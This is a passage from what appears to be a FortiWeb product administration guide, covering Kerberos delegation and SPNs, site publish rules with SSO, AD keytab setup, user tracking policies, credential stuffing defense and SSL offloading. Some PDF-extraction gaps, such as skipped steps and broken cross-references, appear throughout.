Service Principal Names for Kerberos authentication on page 363.
For details about the site publish rules settings related to Kerberos, see Offloaded authentication and optional SSO
Configuring Windows Authentication for Kerberos authentication delegation
For both types of Kerberos authentication delegation, ensure that Windows Authentication is enabled for the web
application and that it uses one of the following provider configurations. You specify a provider using the Windows
Authentication advanced settings:
l Negotiate and NTLM (the default values; Negotiate includes Kerberos)
l Negotiate: Kerberos (remove Negotiate and NTLM)
To configure Windows Authentication providers in IIS Manager
When the web application is Microsoft Exchange Outlook Web App (OWA), ensure that Integrated Windows
authentication is also enabled.
To access the Integrated Windows authentication setting:
1. From the Exchange Management Console, in the virtual directory you want to configure, under Server
Configuration, select Client Access.
2. Select the server that hosts the OWA virtual directory, and then click the Outlook Web App tab.
3. In the work pane, select the virtual directory that you want to configure, and then click Properties.

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To configure Integrated Windows authentication for OWA
Configuring Service Principal Names for Kerberos authentication
When you select Kerberos authentication for the authentication delegation in a site publish rule, you must specify a
delegated HTTP Service Principal Name (SPN) for each instance of a service that uses Kerberos authentication. If a
service runs on more than one server, create an SPN pool for each service instance.
SPN format
<service_type >/<instance_name>:<port_number>/<service_name>
In a FortiWeb site publish configuration, a valid SPN requires the suffix @<domain> (e.g., @DC1.COM).
For example, for an Exchange server that belongs to the domain dc1.com and has the hostname USER-
U3LOJFPLH1, the SPN is http/[email protected].
To configure an SPN for a single server using Kerberos authentication
1. Go to Application Delivery > Site Publish > Site Publish and select the Site Publish Rule tab.

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2. To configure Kerberos authentication and specify an SPN for an existing site publish rule, select the rule and click
Edit. To create a new site publish rule with Kerberos authentication, click Create New.
3. If the Client Authentication Method is HTML Form Authentication or HTTP Basic Authentication, select
Kerberos for Authentication Delegation. If the Client Authentication Method is Client Certificate
Authentication, select Kerberos Constrained Delegation for Authentication Delegation. For details, see
Click Create New and configure the settings. The settings you select determine which additional settings are
displayed: on page 365.
4. For the Delegation Mode, select Single Server.
5. For the Delegated HTTP Service Principal Name, enter an SPN for the service using Kerberos authentication.
6. When you are finished configuring the site publish rule, click OK.
To configure an SPN pool for a server pool using Kerberos authentication
1. Go to Application Delivery > Site Publish > Service Principal Name Pool.

2. Click Create New. To add SPNs to an existing SPN pool, select the pool and click Edit.
3. Enter a name for the pool. You will use this name to select the pool in other parts of the configuration. The
4. Click OK.
5. To add an SPN to the pool, click Create New.
6. For IP/Domain, enter the IP or domain of a server that hosts the service.
7. For Service Principal Name, enter the SPN of a server that hosts the service. For details, see SPN format on
page 363.
8. Click OK.
10. To create a new site publish rule with Kerberos authentication, click Create New. To configure Kerberos
authentication and specify an SPN pool for an existing site publish rule, select the rule and click Edit.
11. If the Client Authentication Method is HTML Form Authentication or HTTP Basic Authentication, select
Kerberos for Authentication Delegation. If the Client Authentication Method is Client Certificate
Authentication, select Kerberos Constrained Delegation for Authentication Delegation. For details, see
Click Create New and configure the settings. The settings you select determine which additional settings are
displayed: on page 365.
12. For the Delegation Mode, select Server Pool.
13. For the Service Principal Name Pool, select a configured SPN pool.
14. When you are finished configuring the site publish rule, click OK.
See also


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Offloaded authentication and optional SSO configuration
To configure offloaded authentication with optional SSO
1. Before you configure SSO, create one or more of the following authentication server configurations:
l LDAP (see Configuring an LDAP server on page 343)
l RADIUS (see Configuring a RADIUS server on page 347)
2. Add one or more server configurations to an authentication server pool. For details, see Adding servers to an
authentication server pool on page 353.
3. To use Kerberos authentication delegation, do the following:
l Create a Kerberos Key Distribution Center configuration. For details, see Configuring a Kerberos Key
Distribution Center (KDC) server on page 350.
Because FortiWeb determines the KDC to use based on the realm of the web application, you do not have to
specify the KDC in the site publish rule.
l If your client authentication method is Client Certificate Authentication, create the AD user account that
FortiWeb uses to authenticate itself on behalf of clients and the corresponding keytab file configuration. For
details, see To create an Active Directory (AD) user for FortiWeb on page 373.
4. If you plan to use HTML form authentication, you can customize the HTML pages that FortiWeb presents to clients
during the authentication process. For details, see Customizing error and authentication pages (replacement
messages) on page 668.
6. Click Create New and configure the settings. The settings you select determine which additional settings are
displayed:
configuration, such as cms-publisher1.
Published Site Type Select one of the following options:

l Simple String—Published Site on page 365 contains a literal FQDN
(fully qualified domain name).
l Regular Expression—Published Site on page 365 contains a regular
expression designed to match multiple host names or FQDNs.
Published Site Enter one of the following:

l The literal Host: name, such as sharepoint.example.com, that
the HTTP requests that match the rule contain (if Published Site Type on
page 365 is Simple String)
l A regular expression, such as ^*\.example\.edu, that matches all
and only the host names that the rule should match (if Published Site
Type on page 365 is Regular Expression).
Note: Regular expressions beginning with an exclamation point ( ! ) are not
supported. For details about language and regular expression matching, see
Regular expression syntax on page 880.
Path Enter the URL of the request for the web application, such as /owa. It must

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begin with a forward slash ( / ).
Cookieless Enable to allow cookieless clients to access to Microsoft Exchange servers

through Exchange ActiveSync.
Note: If Cookieless is enabled, single sign-on (see SSO Support on page 370)
and authentication cookie (see Authentication Cookie Timeout on page 367)
will be not available, and HTTP Basic Authentication (see Client
Authentication Method on page 366) will be the only method to authenticate
the clients.
Client Authentication Select one of the following options:

Method l HTML Form Authentication—FortiWeb authenticates clients by
presenting an HTML web page with an authentication form. When the
authentication cookie expires, FortiWeb replies to the first request
without a valid authentication cookie with a 200 (OK) status code and
injects HTML into the response, showing the user the login page.
l HTML Basic Authentication—FortiWeb authenticates clients by
replying to the request with a 401 (Unauthorized) status code, and the
browser displays a traditional, browser-specific authentication prompt.
l Client Certificate Authentication—FortiWeb validates the HTTP
client’s personal certificate using the certificate verifier specified in the
associated server policy or server pool configuration.
l SAML Authentication—FortiWeb uses a SAML server to pass identity
information to a service provider via a signed XML document for client
authentication. When the authentication cookie expires, FortiWeb replies
to the first request without a valid authentication cookie with a 301
(Moved Temporarily) status code, forcing the browser to direct to the
authentication page.
If Cookieless is enabled (see Cookieless on page 366), only HTML Basic
Authentication will be available.
Log Off Path Type Select one of the following options:
l Simple String—The optional Published Server Log Off Path setting
is a literal URL.
l Regular Expression—The optional Published Server Log Off Path
setting is a regular expression designed to match multiple URLs.
Published Server Log Off Optionally, enter one of the following values:
Path l If Log Off Path Type is Simple String, enter the URL of the request
that a client sends to log out of the application.
l If Log Off Path Type is Regular Expression, enter a regular
expression that matches the logoff URL.
Ensure that the value is a sub-path of the Path value. For example, if Path is
/owa , the following values are valid:
/owa/auth/logoff.aspx
/owa/logoff.owa
When clients log out of the web application, FortiWeb redirects them to its
authentication dialog.
Available only when Client Authentication Method on page 366 is HTML
Form Authentication.

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Authentication Cookie Specify the length of time (in minutes) that passes before the cookie that the
Timeout site publish rule adds expires and the client must re-authenticate.
Valid values are from 0 to 216000 minutes.
To configure the cookie with no expiration, specify 0 (the default). The
browser only deletes the cookie when the user closes all browser windows.
Note: This will be not available if Cookieless is enabled.
Authentication Server Pool Select the pool of servers that FortiWeb uses to authenticate clients. For
details, see Adding servers to an authentication server pool on page 353.
FortiWeb attempts to authenticate the user using each server in the pool,
starting with the top-most item in the list and moving downward.

Form Authentication or HTML Basic Authentication.
SAML Server Select the SAML server that FortiWeb uses to authenticate clients. For
details, see Configuring a Security Assertion Markup Language (SAML) server
on page 350.
Available only when the Client Authentication Method on page 366 is
SAML Authentication.
Authentication Delegation Select one of the following options:
l HTTP Basic—FortiWeb uses HTTP Authorization: headers with
Base64 encoding to forward the client’s credentials to the web
application.
Typically, you select this option when the web application supports HTTP
protocol-based authentication.
Form Authentication or HTML Basic Authentication
l Kerberos—After it authenticates the client via the HTTP form or HTTP
basic method, FortiWeb obtains a Kerberos service ticket for the
specified web application on behalf of the client. It adds the ticket to the
HTTP Authorization: header of the client request with Base64
encoding.
Form Authentication or HTML Basic Authentication
l Kerberos Constrained Authentication—After it authenticates the
client’s certificate, FortiWeb obtains a Kerberos service ticket for the
specified web application on behalf of the client. It adds the ticket to the
HTTP Authorization: header of the client request with Base64
encoding.
Available only when Client Authentication Method on page 366 is Client
Certificate Authentication.
l No Delegation—FortiWeb does not send the client’s credentials to the
web application.
Select this option when the web application has no authentication of its
own or uses HTML form-based authentication.

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Note: If the web application uses HTML form-based authentication, the

client is required to authenticate twice: once with FortiWeb and once with
the web application’s form.
l NTLM—FortiWeb uses NT LAN Manager (NTLM) for authentication
delegation. This is a challenge/response authentication protocol that
FortiWeb uses to verify the identify of clients attempting to connect to the
server(s).
Note: If the POST method request triggers NTLM authentication, the
request body cannot exceed 100M.
To work with the Kerberos options, web applications require a specific
Windows authentication configuration. For details, see Configuring Windows
Authentication for Kerberos authentication delegation on page 362.
If FortiWeb uses a RADUIS server configuration in the authorization server
pool to autheticate the client and RSA SecurID is selected for that server
configuration, any authentication delegation settings in this rule are ignored.
Append Custom Header Enable this option to forward the username to the back-end server in HTTP
header.
Custom Header Name Enter a name for the HTTP header. The default name is X-FWB-Username.
You can change it to any name as you desire, e.g. X-FWB-Uname,
useraccount. Special characters are not supported.
Custom Header Value Enter the format for the value, such as aaa-username-bbb, xxx-username, or
Format username. Special characters are not supported. It must contain "username"
in the value format. FortiWeb replaces the "username" with the actual
username when forwarding the HTTP header to the back-end server.
For example, if you set the HTTP header name as "useraccount", the value
format as "xxx-username", and the traffic is from a user whose username is
David, FortiWeb forwards the HTTP header "useraccount:xxx-David" to the
back-end server.
Please note that if you include more than one "username" in the value format,
e.g. xxx-username-username, only the first "username" will be replaced with
the actual username, such as, xxx-david-username.
Kerberos Type Two kinds of authorization mechanisms are available, which are used by web
servers to retrieve the Kerberos tickets:
l KRB5
l SPNEGO
Available only when Authentication Delegation is Kerberos.
Username Location in Use one of the following options to specify how FortiWeb determines the
Certificate client username:
l SAN - UPN—Using the certificate’s subjectAltName (Subject Alternative
Name or SAN) and User Principal Name (UPN) values. These values that
contain the username in certificates issued in a Windows environment.
For example:
username@domain

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l SAN - Email—Using the certificate’s subjectAltName (Subject

Alternative Name or SAN) and the email address value in the certificate’s
Subject information.
l Subject - Email—Using the email address value in the certificate’s
Subject information.
Note: Because the email value can be an alias rather than the real DC
(domain controller) domain, the most reliable method for determining the
username is SAN - UPN .
Available only when the Client Authentication Method on page 366 is
Client Certificate Authentication and the Authentication Delegation on
page 367 is Kerberos Constrained Delegation.
Delegation Mode Select one of the following:

l Single Server—Allows you to specify a Delegated HTTP Service
Principal Name on page 369 for the site publish rule.
l Server Pool—Allows you to specify a Service Principal Name Pool
on page 369 for the site publish rule.
This option is available only when the Authentication Delegation on page
367 is Kerberos or Kerberos Constrained Delegation.
Delegated HTTP Service Specify the Service Principal Name (SPN) for the web application that clients
Principal Name access using this site publish rule. For details, see Configuring Service
Principal Names for Kerberos authentication on page 363.
Available only when Authentication Delegation is Kerberos or Kerberos
Constrained Delegation.
Service Principal Name Pool Select the SPN pool for the application that clients access using this site
publish rule. For details, see Configuring Service Principal Names for
Kerberos authentication on page 363.
Available only when Authentication Delegation on page 367 is Kerberos or
Kerberos Constrained Delegation.
Keytab File Select the keytab file configuration for the AD user that FortiWeb uses to
obtain Kerberos service tickets for clients.
To add a keytab configuration, go to Application Delivery >
Site Publish > Keytab File.
For instructions on how to generate the keytab file, see To create an Active
Directory (AD) user for FortiWeb on page 373.
Available only when Authentication Delegation on page 367 is Kerberos
Service Principal Name for Specify the Service Principal Name (SPN) of the AD user that is a delegator. It
Keytab File is the SPN that you used to generate the keytab specified by Keytab File on
page 369. For details, see To create an Active Directory (AD) user for
FortiWeb on page 373.
For example, host/[email protected].
For a Fortiwebsite publishing configuration, a valid SPN requires the suffix
@<domain> (for example, @DC1.COM).
Available only when Authentication Delegation on page 367 is Kerberos

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Default Domain Prefix Select to allow users in environments that require users to log in using both a
Support domain and username to log in with just a username. Also specify Default
Domain Prefix on page 370.
In some environments, the domain controller requires users to log in with the
username format domain\username. For example, if the domain is
example.com and the username is user1, the user enters
EXAMPLE\user1.
Alternatively, enable this option and enter EXAMPLE for Default Domain
Prefix on page 370. The user enters user1 for the username value and
FortiWeb automatically adds EXAMPLE\ to the HTTP Authorization:
header before it forwards it to the web application.
Available only when Authentication Delegation on page 367 is HTTP Basic or
Kerberos.
Default Domain Prefix Enter a domain name that FortiWeb adds to the HTTP Authorization:
header before it forwards it to the web application.
Available only when Default Domain Prefix Support on page 370 is enabled.
When Authentication Delegation is Kerberos, ensure that the prefix you
enter is the full domain name (for example, example.com).
SSO Support Enable for single sign-on support.

For example, the website for this rule is www1.example.com and SSO
Domain on page 370 is .example.com. After FortiWeb authenticates the
client for www1.example.com, the client can access www2.example.com
without authenticating a second time.
Site publishing SSO sessions exist on FortiWeb only; they are not
synchronized to the authentication or accounting server. Therefore, SSO is
not shared with non-web applications. For SSO with other protocols, see the
documentation for your FortiGate or other firewall.
Note: This will be not available if Cookieless on page 366 is enabled.
SSO Domain Type the domain suffix of Host: names that can share this rule’s
authentication sessions, such as .example.com. Include the period ( . )
that precedes the host’s name.
Alert Type Select whether to log authentication failures, successes, or both:

l None—Do not generate an alert email or log message.
l Failed Only—Only authentication failures generate alert email and log
messages.
l Successful Only—Only successful authentication generates alert email
or log messages.
l All—All HTTP authentication attempts, regardless of success or failure,
generate alert email, log messages, or both.
Event log messages contain the user name, authentication type, success or
failure, and source address (for example, User jdoe [Site Publish]
login successful from 172.0.2.5) when an end-user successfully
authenticates. A similar message is recorded if the authentication fails (for
example, User hackers [Site Publish] login failed from
172.0.2.5).
7. Click OK.

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8. Go to Application Delivery > Site Publish > Site Publish and select the Site Publish Policy tab.
10. In Name, type a unique name that can be referenced in other parts of the configuration. The maximum length is 63
characters.
11. If you want to prevent users from making further attempts to log in after a specified number of failed login
attempts, enable Account Lockout and complete the following settings:
Max Login Failures Enter the number of times that a user can attempt to log in before FortiWeb
prevents the user from attempting to log in again.
FortiWeb determines whether the user exceeded this threshold based on the
number of login attempts that happen within the time period specified by
Within.
If the user exceeds the threshold and attempts to log in again during the time
period configured by Account Block Period on page 371, FortiWeb returns an
"Account blocked!" message to the user.
You can customize the web page that FortiWeb returns to the blocked user.
For details, see Customizing error and authentication pages (replacement
messages) on page 668.
Within Enter the length of time, in minutes, which FortiWeb uses to determine if the
user has exceeded the maximum number of login attempts specified by Max
Login Failures on page 371.
Take the configuration that maximum of 3 attempts within 5 minutes is

allowed for a example, if a user fails the login for 3 times within the 5 minutes,
FortiWeb will lock the user out for a specified period (Account Block Period on
page 371). However, if the user fails login for 2 times within the 5 minutes,
FortiWeb will not lock out the user for the third failure happens within next 5
minutes.
Account Block Period Enter the length of time FortiWeb prevents a user from attempting to log in
again after the user has exceeded the number of login attempts specified by
Max Login Failures on page 371.
12. If you want to limit the number of concurrent logins per account, enable Limit Concurrent Users Per Account
complete the following settings:
Limit Concurrent Users Per Enable to limit the number of concurrent logins per account.
Account The active accounts are shown in Monitor > Active Users.
Maximum Concurrent Users Specify the maximum number of concurrent logins using the same account.
Session Idle Timeout When a session is idled for the specified period of time, the Concurrent Users
count will be renewed. The user who is timed-out needs to re-log in.
13. If you want to prevent users from credential stuffing attacks, enable Credential Stuffing Defense on page 372 and
complete the following settings:

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Credential Stuffing Defense Enable to use FortiGuard's Credential Stuffing Defense database to prevent
against Credential Stuffing attacks. When this setting is enabled,
FortiWebwill evaluate the username (Username Field) and password
(Password Field) of the matched login requests against the Credential
Stuffing Defense database to identify whether the paired username/password
has been spilled. If it has, the specified Action triggers and Trigger Policy is
applied.
Caution: FortiWeb has no built-in Credential Stuffing Defense database. At
least one FortiGuard update is required to install the database, otherwise this
feature is ineffective. For details, see Connecting to FortiGuard services on
page 469.
Action Select the action that FortiWeb will take against a request when a paired
username/password is found in Credential Stuffing Defense database:
l Alert—Accept the request and generate an alert email and/or log
message.
l Alert & Deny—Block the request (or reset the connection) and generate
an alert email and/or log message.
You can customize the web page that FortiWeb returns to the client with
the HTTP status code. For details, see Customizing error and
authentication pages (replacement messages) on page 668.
Note: Because the deny action is not supported in Offline Protection

mode, this option has the same effect as Alert.
l Period Block—Block subsequent requests from the client for a specified
number of seconds.
Caution: This option is not supported in Offline Protection mode.

Block Period Type the number of seconds that you want to block a request when a paired
username/password is found in Credential Stuffing Defense database.
This setting is available only if Action on page 372 is set to Period Block.
The valid range is from 1 to 3,600 seconds (1 hour). See also Monitoring
currently blocked IPs on page 742.
Severity When the credential stuffing defense generates an attack log, each log
message contains a Severity Level (severity_level) field. Select which
severity level FortiWeb uses when it takes the specified action:
l Informative
l Low
l Medium
l High
Trigger Policy Select which trigger, if any, that FortiWeb will use when it logs or sends an

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alert email about the credential stuffing hit. For details, see Configuring
triggers on page 718.
14. Click Create New and in Rule, select the name of a site publishing rule.
15. Repeat the previous step for each web application that is part of the SSO domain.
16. Click OK.
17. Select the site publishing policy in an inline web protection profile. The profile must be used in the policy applying
your domain’s virtual servers. For details, see Configuring a protection profile for inline topologies on page 223.
18. To verify the configuration, log in to one of the web applications, then log in to another web application in the same
domain that should be part of the SSO domain.
See also

To create an Active Directory (AD) user for FortiWeb
If your site publish rule uses Kerberos Constrained Delegation for authentication delegation, it requires the following
values:
l The SPN of an AD user that FortiWeb uses to obtain Kerberos tickets on behalf of clients.
l The keytab file that corresponds to the AD user.
1. Create an AD user.
For example, create the user http-delegator.

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2. Generate a Service Principal Name (SPN) for the AD user. Enter the following command using the SetSPN utility
and a Windows command prompt:
setspn -A host/<service_name>.<domain> <login_domain>\<ad_user_name>
where:
<service_name> is the name of the service to register
<domain> is the appropriate domain
<login_domain> is the domain used with the logon name
<ad_user_name> is the AD user name
For example: setspn -A host/forti-delegator.dc1.com DC1\http-delegator

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You cannot access the delegation settings for a user until it has an SPN.
3. In the properties for the AD user, on the Delegation tab, select Trust this user for delegation to specified
services only, and then select Use any authentication protocol.

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4. Click Add, and then click Users or Computers to open the Select Users or Computers dialog box.
5. For Enter the object names to select, enter the name of the computer where the web service resides.
You can use the hostname command to retrieve the computer name.

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6. Click OK, and then, in the Add Services dialog box, under in the list of available services, select the http item.
7. Click OK.

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8. Click OK to close the AD user properties.

9. Use the Ktpass utility to extract a keytab file for the AD user.
Ensure that you generate the keytab file using the SPN you generated for the AD user in Generate a Service
Principal Name (SPN) for the AD user. Enter the following command using the SetSPN utility and a Windows
command prompt: on page 374.
For complete information about Ktpass, go to the following location:
http://technet.microsoft.com/en-us/library/cc779157(v=ws.10).aspx

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Ktpass output the extracted keytab file to the directory of the current user.
For example:
C:\Users\Administrator\test.keytab
10. To upload the keytab file, go to Application Delivery > Site Publish > Keytab File.

11. Click Create New and enter a name to use for the file in the web UI.
12. Click Choose File and then browse to the file to select it, and then click OK to complete the upload.
Example: Enforcing complex passwords
Example Co. web hosting needs to enforce reasonably secure passwords on web applications that do not provide this
feature themselves. Since end users already authenticate with the web applications, Example Co. does not need to
configure FortiWeb with user accounts to apply authentication. In other words, authentication offloading is not required.
Instead, they simply need to enforce the security policy in the authentication transactions that already exist between
the clients and web servers.
To do this, Example Co. would configure and apply an input rule. For details, see Validating parameters (“input rules”)
on page 519. This rule either could use a predefined data type to require password complexity (Level 2 Password—

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see "Predefined data types" on page 1), or could use a custom-defined data type to allow or require additional special
characters for additional strength. For details, see Validating parameters (“input rules”) on page 519.
Tracking users
The user tracking feature allows you to track sessions by user and capture a username for reference in traffic and attack
log messages.
When FortiWeb detects users that match the criteria you specify in a user tracking policy, it stores the session ID and
username.
FortiWeb uses the following three modules to track users (descending order of priority):
l User Tracking policy. See To create a user tracking policy on page 381.
l Site Publish rule. See To configure offloaded authentication with optional SSO on page 365.
l Certificate Verification. See Configuring an HTTP server policy on page 242 and To configure client PKI
authentication on page 415.
If a User Tracking policy is configured, FortiWeb will use the policy to track users. If the User Tracking policy is unable to
track a user, FortiWeb will use a Site Publish rule, if any, to track a user. If the Site Publish rule is unable to track a user,
FortiWeb will use a client certificate to track a user.
Determining which users to track
FortiWeb tracks only users who have logged in successfully. It uses one of the following methods to determine whether
a log in is successful:
l The response matches a condition you specify in the user tracking rule, such as a return code or a string in the
response body. You create these conditions in the rule's Authentication Result Condition Table.
l If the response does not match a condition in the table, FortiWeb uses the default result that you select for the rule.
FortiWeb stops tracking users when either of the following two events occur:
l The client request contains the log off URL that you specify in the user tracking rule. (The log off URL setting is
optional.)
l The session is idle for longer than the session timeout value you specify in the rule.
Taking action against timed-out sessions
When you enable Session Timeout Enforcement in a user tracking rule, you can also configure a Session Freeze
Time. After a session has been idle for longer than the timeout value, if a request has the session ID of the timed-out
session, FortiWeb takes the action you specify in the rule. FortiWeb continues to take this action against requests with
the session ID for the length of time specified by Session Freeze Time.
User tracking and advanced protection custom rules
You can also use the user tracking feature to create a filter in a custom rule that matches specific users. This type of
custom rule requires you to create a user tracking policy and apply it to the protection profile that uses the custom rule.
For details, see Combination access control & rate limiting on page 437.

Users 381
You can apply a user tracking policy using either an inline or Offline Protection
profile. However, in Offline Protection mode, Session Fixation Protection,
Session Timeout Enforcement, and the deny, redirect and period block actions
are not supported.
To create a user tracking policy
1. Go to Tracking > User Tracking, and select the User Tracking Rule tab.
2. Click Create New, and then complete the following settings:
Name Enter a name that identifies the rule.
Host Status Enable to require that the Host: field of the HTTP request match
a protected host names entry in order to match the URL access rule.
Also configure Host on page 381.
Host Select which protected host names entry (either a web host name or
IP address) that the Host: field of the HTTP request must be in to
match the rule.
This option is available only if Host Status on page 381 is enabled.
Authentication URL Enter the URL to match in authorization requests.
Ensure that the value begins with a forward slash ( / ).
Username Field Enter the username field value to match in authorization requests.
Password Field Enter the password field value to match in authorization requests.
Session ID Name Type the name of the session ID that is used to identify each session.
Examples of session ID names are sid, PHPSESSID, and

JSESSIONID.
Default Authentication Enter the authentication result that FortiWeb associates with requests
Result that match the criteria but do not match an entry in the Authentication
Result Condition Table.
When the login result is successful, FortiWeb tracks the session using
the session ID and username values.
Log Off URL Optionally, enter the URL of the request that a client sends to log out
of the application.
When the client sends this URL, FortiWeb stops tracking the user
session.
Ensure that the value begins with a forward slash ( / ).
Session Fixation Enable to configure FortiWeb to erase session IDs from the cookie
Protection and argument fields of a matching login request.

Users 382
FortiWeb erases the IDs for non-authenticated sessions only.
For web applications that do not renew the session cookie when a
user logs in, it is possible for an attacker to trick a user into
authenticating with a session ID that the attacker acquired earlier.
This feature prevents the attacker from accessing the web app in an
authenticated session.
When this feature removes session IDs, FortiWeb does not generate
a log message because it is very common for a legitimate user to
access a web application using an existing cookie. For example, a
client who leaves his or her web browser open between sessions
presents the cookie from an earlier session.

Limit Concurrent Users Enable to limit the number of concurrent logins per account.
Per Account The active accounts are shown in Monitor > Active Users.
Maximum Concurrent Specify the maximum number of concurrent logins using the same
Users account.
Session Idle Timeout When a session is idled for the specified period of time, the
Concurrent Users count will be renewed. The user who is timed-out
needs to re-log in.
Session Timeout Enable to set the time in minutes that FortiWeb waits before it stops
tracking an inactive user session.
Timeout Enter the length of time in minutes.

Valid values are from 1 to 60.
Session Timeout Disable to configure FortiWeb to remove the session ID for user
Enforcement sessions that are idle for longer than the session timeout threshold.
When a session is reset, the client has to log in again to access the
back-end server.
Enable to configure FortiWeb to freeze the session upon the first
request after session timeout. FortiWeb takes the specified action, for
a length of time specified by Session Freeze Time on page 383.
Caution: This option is not supported in Offline Protection mode. It is

available only when Session Timeout on page 382 is enabled.
Credential Stuffing Enable to use FortiGuard's Credential Stuffing Defense database to

Defense prevent against Credential Stuffing attacks. When this setting is
enabled, FortiWeb will evaluate the username (Username Field) and
password (Password Field) of the matched login requests against the
Credential Stuffing Defense database to identify whether the paired
username/password has been spilled. If it has, the specified Action
triggers and the Trigger Policy is applied.

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Caution: FortiWeb has no built-in Credential Stuffing Defense

database. At least one FortiGuard update is required to install the
database, otherwise this feature is ineffective. For details, see
Connecting to FortiGuard services on page 469.
Session Freeze Time FortiWeb freezes the session upon the first request after session
timeout.
Enter the length of the freeze time. FortiWeb takes action against
requests with the ID of the timed-out session during the specified
freeze time.
After the freeze time has elapsed, FortiWeb removes the session ID
for idle sessions but no longer takes the specified action.
Available only when Session Timeout Enforcement on page 382 is
enabled.
Action Select the action that FortiWeb takes against requests with the ID of a
timed-out session during the specified time period or if the paired
username/password is found in Credential Stuffing Defense
database:
message.
generate an alert email and/or log message.
You can customize the web page that FortiWeb returns to the
client with the HTTP status code. For details, see Customizing
error and authentication pages (replacement messages) on page
668.
Note: Because the deny action is not supported in Offline

Protection mode, this option has the same effect as Alert.
l Redirect—Redirect the request to the URL that you specify in
the protection profile and generate an alert and/or log message.
Also configure Redirect URL on page 228 and Redirect URL With
Reason on page 228.
Caution: This option is not supported in Offline Protection mode

specified number of seconds.
668.
Caution: This option is not supported in Offline Protection mode

When the action generates a log message, the message field values
will be:
l Session Timeout Enforcement message: Session Timeout
Enforcement: triggered by user <username>.

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l Credential Stuffing Defense Violation message: Triggered

by user <username>: Credential Stuffing
Defense Violation.
Available only when Session Timeout Enforcement on page 382
and/or Credential Stuffing Defense on page 382 is On.
Block Period Type the number of seconds that you want to block requests with the
ID of a timed-out session.
Block. The valid range is from 1 to 3,600 seconds (1 hour). See also
Severity When the session timeout settings or credential stuffing defense

generates an attack log, each log message contains a Severity Level
(severity_level) field. Select which severity level FortiWeb uses
when it takes the specified action:
l Informative
l Low
l Medium
l High
The default value is Low.

Trigger Policy Select which trigger, if any, that FortiWeb uses when it logs or sends
an alert email about the session timeout or credential stuffing hit. See
Configuring triggers.

When both Session Timeout on page 382 ( Session Timeout Enforcement on page 382 enabled) and
Credential Stuffing Defense on page 382 are enabled, violations of any of the two security events will trigger the
same actions (they use a common set of configurations: Action, Block Period, Severity and Trigger Policy).
3. Click OK.
4. To add an entry to the Authentication Result Condition Table, click Create New, and then complete the following
settings:
Authentication Result Specify the status FortiWeb assigns to user logins that match this
Type table item: Failed or Successful.
FortiWeb tracks sessions by user only when the status is Successful.
If the request does not match any rules in this table, FortiWeb uses
the value specified by Default Authentication Result.
HTTP Match Target Select the location of the value to match with the string or regular
expression specified in this table item: Return Code, Response
Body, Redirect URL.

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Value Type Indicate whether Value on page 385 is a Simple String or a Regular
Expression.
Value Enter the value to match.
5. Click OK, and then add any additional table entries that are required.
6. Create any additional rules that are required.
7. To add the rules to a policy, go to Tracking > User Tracking, select the User Tracking Policy tab, click Create
New, enter a name for the policy, and then click OK.
8. Click Create New, select the user tracking rule to add, and then click OK.
9. Add any additional rules that are required, and then click OK.
10. To apply the user tracking rule, select it in an inline or Offline Protection profile. For details, see Configuring a
protection profile for inline topologies on page 223 or Configuring a protection profile for an out-of-band topology or
asynchronous mode of operation on page 233.

Secure connections (SSL/TLS)
When a FortiWeb appliance initiates or receives an SSL or TLS connection, it will use certificates. Certificates can be
used in HTTPS connections for:
l encryption
l decryption and inspection
l authentication of clients
l authentication of servers
FortiWeb may require you to provide certificates and CRLs even if your websites’ clients do not use HTTPS to connect
to the websites.
For example, when it sends alert email via SMTPS or querying an authentication server via LDAPS or STARTTLS,
FortiWeb validates the server’s certificate by comparing the server certificate’s CA signature with the certificates of CAs
that are known and trusted by the FortiWeb appliance. For details, see Uploading trusted CA certificates on page 393
and Revoking certificates on page 430.
Offloading vs. inspection
Depending on the FortiWeb appliance’s operation mode, FortiWeb can act as the SSL/TLS terminator: instead of
clients having an encrypted tunnel along the entire path to a back-end server, the client’s HTTPS request is
encrypted/decrypted partway along its path to the server, when it reaches the FortiWeb. FortiWeb then is typically
configured to forward unencrypted HTTP traffic to your servers. When the server replies, the server connects to the
FortiWeb via clear text HTTP. FortiWeb then encrypts the response and forwards it via HTTPS to the client.
In this way, FortiWeb bears the load for encryption processing instead of your back-end servers, allowing them to focus
resources on the network application itself. This is called SSL offloading.
FortiWeb
SSL Terminator
HTTPS example.com
HTTP
CA
Client Server

SSL offloading can be associated with improved SSL/TLS performance. In hardware

models with specialized ASIC chip SSL accelerator(s), FortiWeb can encrypt and
decrypt packets at better speeds than a back-end server with a general-purpose
CPU.
When SSL offloading, the web server does not use its own server certificate. Instead, FortiWeb acts like an
SSL proxy for the web server, possessing the web server’s certificate and using it to:
l authenticate itself to clients
l decrypt requests
l encrypt responses
whenever a client requests an HTTPS connection to that web server.
As a side effect of being an SSL terminator, the FortiWeb is in possession of both the HTTP request and reply in their
decrypted state. Because they are not encrypted at that point on the path, FortiWeb can rewrite content and/or route
traffic based upon the contents of Layer 7 (the application layer). Otherwise Layer 7 content-based routing and rewriting
would be impossible: that part of the packets would be encrypted and unreadable to FortiWeb.
Secure traffic between FortiWeb and back-end servers when using SSL offloading.
Failure to do so will compromise the security of all offloaded sessions. No attack will
be apparent to clients, as SSL offloading cannot be detected by them, and therefore
they will not receive any alerts that their session has been compromised.
For example, you might pass decrypted traffic to back-end servers as directly as
possible, through one switch that is physically located in the same locked rack, and
that has no other connections to the overall network.
However, depending on the operation mode, FortiWeb is not always an SSL terminator.
By their asynchronous nature, SSL termination cannot be supported in Transparent Inspection and Offline Protection
modes. To terminate, FortiWeb must process traffic synchronously with the connection state. In those modes, the web
server uses its own certificate, and acts as its own SSL terminator. The web server bears the load for SSL
processing. FortiWeb only “listens in” and can interrupt the connection, but otherwise cannot change or reroute packets.
In those modes, FortiWeb only uses the web server’s certificate to decrypt traffic in order to scan it for policy violations.
If there are no violations, it allows the existing encrypted traffic to continue without interruption. FortiWeb does not
expend CPU and resources to re-encrypt, because it is not a terminator.
In other words, FortiWeb performs SSL inspection, not SSL offloading.

FortiWeb
SSL
S SL IInspector
exampl
exa mple.c
e.com
e.c
HTTPS Sign
Si gned
gn ed::
ed
CA
exampl
exa mple.com
mpl
example.com
Sign
Si
Signed:
gned
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ed
CA
Client Server
Serve
er
See also
l Supported cipher suites & protocol versions on page 388

Supported cipher suites & protocol versions
How secure is an HTTPS connection?

There are physical considerations, such as restricting access to private keys and decrypted traffic. Another part is the
encryption. For details, see Offloading vs. inspection on page 386.
A secure connection’s protocol version and cipher suite, including encryption bit strength and encryption algorithms, is
negotiated between the client and the SSL/TLS terminator during the handshake.
The FortiWeb operation mode determines which device is the SSL terminator. It is either:
